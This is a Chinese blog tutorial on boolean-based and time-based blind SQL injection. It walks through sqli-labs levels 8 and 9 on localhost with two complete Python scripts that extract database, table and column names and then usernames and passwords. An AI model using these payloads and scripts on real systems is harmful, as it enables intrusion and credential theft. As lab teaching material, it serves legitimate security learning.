SQL布尔盲注、时间盲注

一、布尔盲注

布尔盲注（Boolean-based Blind SQL Injection）是一种SQL注入技术，用于在应用程序不直接显示数据库查询结果的情况下，通过构造特定的SQL查询并根据页面返回的不同结果来推测数据库中的信息。这种方法依赖于SQL查询的结果是否为真或假，进而推断出数据库中的具体信息。

案例为sqlilabs中的第八关，采用二分查找

python脚本：

import requests
def get_database(URL):
    # 获取数据库名称
    s = ""
    for i in range(1, 10):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and greatest(ascii(substr(database(),{i},1)),{mid})={mid} -- "}  # 相当于第一个字符<={mid}条件判断为真
            res = requests.get(url=URL, params=payload)
            if "You are in" in res.text:
                high = mid
                mid = (low + high) // 2
            else:
                low = mid + 1
                mid = (low + high) // 2
        s += chr(mid)
    print("数据库名称:" + s)


def get_table(URL):
    # 获取表名称
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid} -- "}
            res = requests.get(url=URL, params=payload)
            if "You are in" in res.text:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("表的名称:" + s)


def get_column(URL):
    # 获取管理员的字段名称
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid} -- "}
            res = requests.get(url=URL, params=payload)
            if "You are in" in res.text:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("users表的列:" + s)


def get_result(URl):
    # 获取用户名和密码信息
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid} -- "}
            res = requests.get(url=URL, params=payload)
            if "You are in" in res.text:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("users表具体数据:" + s)


if __name__ == '__main__':
    URL = "http://127.0.0.1/sqlilabs/Less-8/index.php"
    get_database(URL)
    get_table(URL)
    get_column(URL)
    get_result(URL)

运行结果

二、时间盲注

时间盲注（Time-based Blind SQL Injection）是一种SQL注入技术，用于在应用程序没有直接回显数据库查询结果的情况下，通过构造特定的SQL查询来推测数据库中的信息。这种方法依赖于数据库处理查询时产生的延迟响应来判断条件的真假。

案例为sqlilabs中的第九关，同样为二分查找

python脚本

import requests
import datetime

def get_database(URL):
    # 获取数据库名称
    s = ""
    for i in range(1, 10):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),sleep(3),1) -- "}  # 相当于第一个字符<={mid}条件判断为真
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=payload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                high = mid
                mid = (low + high) // 2
            else:
                low = mid + 1
                mid = (low + high) // 2
        s += chr(mid)
        print("数据库名称:" + s)


def get_table(URL):
    # 获取表名称
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(3),1) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=payload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("表的名称:" + s)


def get_column(URL):
    # 获取管理员的字段名称
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(3),1) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=payload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("users表的列:" + s)


def get_result(URl):
    # 获取用户名和密码信息
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(3),1) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=payload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("users中的具体数据:" + s)


if __name__ == '__main__':
    URL = "http://127.0.0.1/sqlilabs/Less-9/index.php"
    # get_database(URL)
    get_table(URL)
    # get_column(URL)
    # get_result(URL)

运行结果：

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/969296.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

【Python网络爬虫】爬取网站图片实战

【Python网络爬虫】爬取网站图片实战

【Python网络爬虫】爬取网站图片实战 Scrapying Images on Website in Action By Jackson@ML *声明：本文简要介绍如何利用Python爬取网站数据图片，仅供学习交流。如涉及敏感图片或者违禁事项，请注意规避；笔者不承担相关责任。 1. 创建Python项目 1） 获取和安装最新版…
阅读更多...
【docker知识】快速找出服务器中占用内存较高的容器

【docker知识】快速找出服务器中占用内存较高的容器

本文由Markdown语法编辑器编辑完成。 1.背景&#xff1a; 近期在处理现场问题&#xff0c;观察服务器时&#xff0c;会遇到某些进程占用较高内存的情况。由于我们的服务&#xff0c;基本上都是以容器的方式在运行&#xff0c;因此就需要找到&#xff0c;到底是哪个容器&#…
阅读更多...
图数据库neo4j进阶(一):csv文件导入节点及关系

图数据库neo4j进阶(一):csv文件导入节点及关系

CSV 一、load csv二、neo4j-admin import<一>、导入入口<二>、文件准备<三>、命令详解 一、load csv 在neo4j Browser中使用Cypher语句LOAD CSV,对于数据量比较大的情况,建议先运行create constraint语句来生成约束 create constraint for (s:Student) req…
阅读更多...
10. Hbase Compaction命令

10. Hbase Compaction命令

一. 什么是Compaction 在 HBase 中&#xff0c;频繁进行数据插入、更新和删除操作会生成许多小的 HFile&#xff0c;当 HFile 数量增多时&#xff0c;会影响HBase的读写性能。此外&#xff0c;垃圾数据的存在也会增加存储需求。因此&#xff0c;定期进行 Compact操作&#xff…
阅读更多...
【工业场景】用YOLOv8实现火灾识别

【工业场景】用YOLOv8实现火灾识别

火灾识别任务是工业领域急需关注的重点安全事项，其应用场景和背景意义主要体现在以下几个方面： 应用场景：工业场所：在工厂、仓库等工业场所中，火灾是造成重大财产损失和人员伤亡的主要原因之一。利用火灾识别技术可以及时发现火灾迹象，采取相应的应急措施，保障人员安全和…
阅读更多...
软件开发 | GitHub企业版常见问题解读

软件开发 | GitHub企业版常见问题解读

什么是GitHub企业版&#xff1f; GitHub企业版是一个企业级软件开发平台&#xff0c;专为现代化开发的复杂工作流程而设计。 作为可扩展的平台解决方案&#xff0c;GitHub企业版使组织能够无缝集成其他工具和功能&#xff0c;并根据特定需求定制开发环境&#xff0c;提高整体…
阅读更多...
CEF132 编译指南 MacOS 篇 - depot_tools 安装与配置 (四)

CEF132 编译指南 MacOS 篇 - depot_tools 安装与配置 (四)

1. 引言 在 CEF132&#xff08;Chromium Embedded Framework&#xff09;的编译过程中&#xff0c;depot_tools 扮演着举足轻重的角色。这套由 Chromium 项目精心打造的脚本和工具集&#xff0c;专门用于获取、管理和更新 Chromium 及其相关项目&#xff08;包括 CEF&#xff…
阅读更多...
NLP Word Embeddings

NLP Word Embeddings

Word representation One-hot形式 在上一周介绍RNN类模型时&#xff0c;使用了One-hot向量来表示单词的方式。它的缺点是将每个单词视为独立的&#xff0c;算法很难学习到单词之间的关系。 比如下面的例子&#xff0c;即使语言模型已经知道orange juice是常用组合词&#xf…
阅读更多...
python实现YouTube关键词爬虫（2025/02/11）

python实现YouTube关键词爬虫（2025/02/11）

在当今数字化时代&#xff0c;YouTube作为全球最大的视频分享平台之一&#xff0c;拥有海量的视频资源。无论是进行市场调研、内容创作还是学术研究&#xff0c;能够高效地获取YouTube上的相关视频信息都显得尤为重要。今天&#xff0c;我将为大家介绍一个基于Python实现的YouT…
阅读更多...
Jenkins 配置 Git Parameter 四

Jenkins 配置 Git Parameter 四

Jenkins 配置 Git Parameter 四 一、开启 项目参数设置 勾选 This project is parameterised 二、添加 Git Parameter 如果此处不显示 Git Parameter 说明 Jenkins 还没有安装 Git Parameter plugin 插件&#xff0c;请先安装插件 Jenkins 安装插件 三、设置基本参数 点击…
阅读更多...
自然语言处理NLP入门 -- 第三节词袋模型与 TF-IDF

自然语言处理NLP入门 -- 第三节词袋模型与 TF-IDF

目标 了解词袋模型&#xff08;BoW&#xff09;和 TF-IDF 的概念通过实际示例展示 BoW 和 TF-IDF 如何将文本转换为数值表示详细讲解 Scikit-learn 的实现方法通过代码示例加深理解归纳学习难点&#xff0c;并提供课后练习和讲解 3.1 词袋模型&#xff08;Bag of Words, BoW&a…
阅读更多...
C++模板编程——typelist的实现

C++模板编程——typelist的实现

文章最后给出了汇总的代码&#xff0c;可直接运行 1. typelist是什么 typelist是一种用来操作类型的容器。和我们所熟知的vector、list、deque类似&#xff0c;只不过typelist存储的不是变量&#xff0c;而是类型。 typelist简单来说就是一个类型容器&#xff0c;能够提供一…
阅读更多...
fastadmin 接口请求提示跨域

fastadmin 接口请求提示跨域

问题描述 小程序项目&#xff0c;内嵌h5页面&#xff0c;在h5页面调用后端php接口&#xff0c;提示跨域。网上查找解决方案如下&#xff1a; 1&#xff0c;设置header // 在入口文件index.php直接写入直接写入 header("Access-Control-Allow-Origin:*"); header(&q…
阅读更多...
只需三步！5分钟本地部署deep seek——MAC环境

只需三步！5分钟本地部署deep seek——MAC环境

MAC本地部署deep seek 第一步:下载Ollama第二步:下载deepseek-r1模型第三步&#xff1a;安装谷歌浏览器插件 第一步:下载Ollama 打开此网址&#xff1a;https://ollama.com/&#xff0c;点击下载即可&#xff0c;如果网络比较慢可使用文末百度网盘链接 注&#xff1a;Ollama是…
阅读更多...
idea 错误: 找不到或无法加载主类 @C:\Users\admin\AppData\Local\Temp\idea_arg_file1549212448

idea 错误: 找不到或无法加载主类 @C:\Users\admin\AppData\Local\Temp\idea_arg_file1549212448

idea 错误: 找不到或无法加载主类 C:\Users\admin\AppData\Local\Temp\idea_arg_file1549212448 该错误往往和左下角爱弹出的如下提示是一个意思 Error running ‘PayV3Test1.testTransferBatchesBatchId’ Error running PayV3Test1.testTransferBatchesBatchId. Command lin…
阅读更多...
Excel 笔记

Excel 笔记

实际问题记录 VBA脚本实现特殊的行转列 已知&#xff1a;位于同一Excel工作簿文件中的两个工作表&#xff1a;Sheet1、Sheet2。 问题&#xff1a;现要将Sheet2中的每一行&#xff0c;按Sheet1中的样子进行转置&#xff1a; Sheet2中每一行的黄色单元格&#xff0c;为列头。…
阅读更多...
【故障处理】- ora-39126

【故障处理】- ora-39126

【故障处理】- ora-39126 一、概述二、报错原因三、解决方法 一、概述 使用xtts迁移源端12.1.0.2版本&#xff0c;进行全库导入时&#xff08;目标端19c&#xff09;&#xff0c;报错ORA-39126. 二、报错原因 根据mos反馈&#xff0c;是数据库bug导致&#xff0c;该bug会在20.…
阅读更多...
C#运动控制——轴IO映射

C#运动控制——轴IO映射

1、IO映射的作用 该功能允许用户对专用 IO 信号的硬件输入接口进行任意配置&#xff0c;比如轴的急停信号&#xff0c;通过映射以后&#xff0c;可以将所有轴的急停信号映射到某一个IO输入口上&#xff0c;这样&#xff0c;我们只要让一个IO信号有效就可以触发所有轴的急停。 进…
阅读更多...
MongoDB 扩缩容实战：涵盖节点配置、服务启动与移除操作

MongoDB 扩缩容实战：涵盖节点配置、服务启动与移除操作

#作者&#xff1a;任少近 文章目录 一、扩容在245节点上配置配置config server&#xff1a;配置mongos启动config server安装工具mongosh添加245新节点到副本集配置分片副本集启动路由并分片 二、缩容Conf server上去掉server4shard上去掉server4mongos上去掉server4 一、扩容…
阅读更多...
【NLP】第十一章：隐马尔可夫模型 HMM (Hidden Markov Model)

【NLP】第十一章：隐马尔可夫模型 HMM (Hidden Markov Model)

本来是想讲BERT的&#xff0c;但是BERT的重点是部署应用&#xff0c;而且用BERT跑一些NLP领域的很多任务时&#xff0c;一般做法都是BERT后面再串一个概率模型来约束输出&#xff0c;比如串联一个条件随机场CRF模型。而我们还没讲CRF呢&#xff0c;而且要了解CRF需要首先了解隐…
阅读更多...
最新文章

Copyright @ 2022~2023